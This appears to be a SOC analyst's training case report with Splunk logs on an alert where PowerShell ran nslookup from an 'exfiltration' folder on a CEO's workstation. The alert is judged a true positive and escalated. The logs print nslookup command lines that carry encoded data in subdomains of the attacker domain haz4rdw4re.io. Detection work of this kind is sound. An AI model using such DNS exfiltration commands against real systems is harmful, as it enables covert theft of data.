

← Case report for event ID: 1026

ID	Alert rule	Description	Incident type	Severity level	Date and time detected
1026	Suspicious Parent Child Relationship	A suspicious process with an uncommon parent-child relationship was detected in your environment.	Process	High	Dec 27th 2025 at 23:56

Alert details

Incident report

Edit report

Incident classification

☒ True positive

☐ False positive

Case report

Please write a detailed report on the steps taken to analyse and contain this incident, including all relevant information and the rationale for its closure.

-Time of Incident: 12/27/2025 15:54:04.164

-User Involved: According to Company Information > Directory:
Name: Michael Ascot
Email: michael.ascot@tryhatme.com
Role: CEO
Logged-in Host: win-3450

-Device: win-3450 (Windows host)

-Incident Details: At 12/27/2025 15:54:04.164, nslookup.exe (PID 3952) was executed by powershell.exe (PID 3728) from "C:\Users\michael.ascot\downloads\exfiltration\". The command queried the external domain "8AAAAAQAQ24pZW50UG9ydGZvbG9haz4rdw4re.io". This follows prior scripted activity involving file access and network drive usage, and represents another DNS query to an unusual external domain, consistent with staged or repeated DNS-based communication.

-Malware Identified: None explicitly identified. Activity is consistent with potential DNS-based data exfiltration or command-and-control communication.

Additional investigation:

Does this alert require escalation?

☒ Yes

☐ No

Save and close alert

Alert 1026: Process

- Identified as True Positive
- Requires escalation to L2
- Full Report Documented on the last page

splunk>enterprise Apps

Messages Settings Activity Help Find

Search Analytics Datasets Reports Alerts Dashboards

Search & Reporting

New Search

Save As Create Table View Close

1 host.name="win-3450" process.name="nslookup.exe" process.parent.name="powershell.exe"

6 day window

10 of 30 events matched No Event Sampling

Job Visualization

Format Timeline Zoom Out Zoom to Selection Deselect 1 hour per column

< Hide Fields

All Fields

SELECTED FIELDS

a host 1

a source 1

a sourcetype 1

INTERESTING FIELDS

a datasource 1

a event.action 1

event.code 1

a host.name 1

a index 1

linecount 1

a process.command_line 10

a process.name 1

a process.parent.name 1

process.parent.pid 1

process.pid 10

a process.working_directory 2

a punct 1

a splunk_server 1

a timestamp 2

+ Extract New Fields

List Format 50 Per Page

>

12/27/25 3:55:33.248 PM

{ [-]

datasource: sysmon

event.action: Process Create (rule: ProcessCreate)

event.code: 1

host.name: win-3450

process.command_line: "C:\Windows\system32\nslookup.exe" VEHNeZE80TczMjFnNGY2ZjA1OKE1Mm.haz4rdw4re.io

process.name: nslookup.exe

process.parent.name: powershell.exe

process.parent.pid: 3728

process.pid: 3700

process.working_directory: C:\Users\michael.ascot\downloads\

timestamp: 12/27/2025 15:55:33.248

}

Show as raw text

host = 10.10.211.182:8989 | source = eventcollector | sourcetype = _json

>

12/27/25 3:55:33.248 PM

{ [-]

datasource: sysmon

event.action: Process Create (rule: ProcessCreate)

event.code: 1

host.name: win-3450

process.command_line: "C:\Windows\system32\nslookup.exe" RmYjEYNGZlJHNTYlNjZlZlQ==.haz4rdw4re.io

process.name: nslookup.exe

process.parent.name: powershell.exe

process.parent.pid: 3728

process.pid: 3648

process.working_directory: C:\Users\michael.ascot\downloads\

timestamp: 12/27/2025 15:55:33.248

}

SIEM Investigation

- For reference: The incident occurred ten times in the last 6 hours (Starting Dec 27th 2025 at 15:20 to 21:20)

Submitted report:

-Time of Incident: 12/27/2025 15:54:04.164

-User Involved: According to Company Information > Directory:

Name: Michael Ascot

Email: michael.ascot@tryhatme.com

Role: CEO

Logged-in Host: win-3450

-Device: win-3450 (Windows host)

-Incident Details: At 12/27/2025 15:54:04.164, nslookup.exe (PID 3952) was executed by powershell.exe (PID 3728) from `C:\Users\michael.ascot\downloads\exfiltration\`. The command queried the external domain `8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv.haz4rdw4re.io`. This follows prior scripted activity involving file access and network drive usage, and represents another DNS query to an unusual external domain, consistent with staged or repeated DNS-based communication.

-Malware Identified: None explicitly identified. Activity is consistent with potential DNS-based data exfiltration or command-and-control communication.

Additional Investigation: The incident occurred ten times in the last 6 hours (Starting Dec 27th 2025 at 15:20 to 21:20) according to SIEM logs

-Additional info:

Parent Process: powershell.exe was used to automate the execution of the DNS query, indicating scripted behavior rather than normal interactive use.

Child Process: nslookup.exe is a legitimate Windows DNS query tool that can be abused to send data or test connectivity to attacker-controlled domains.

Why This Is Uncommon: Multiple DNS queries to high-entropy subdomains, launched via PowerShell from a directory named "exfiltration," are not normal user actions and are a common technique for covert data transfer or external signaling.

-Recommendations: Escalate to Level 2 (L2) for further investigation and handling.

-This is a True Positive

-This needs escalation to L2 for further investigation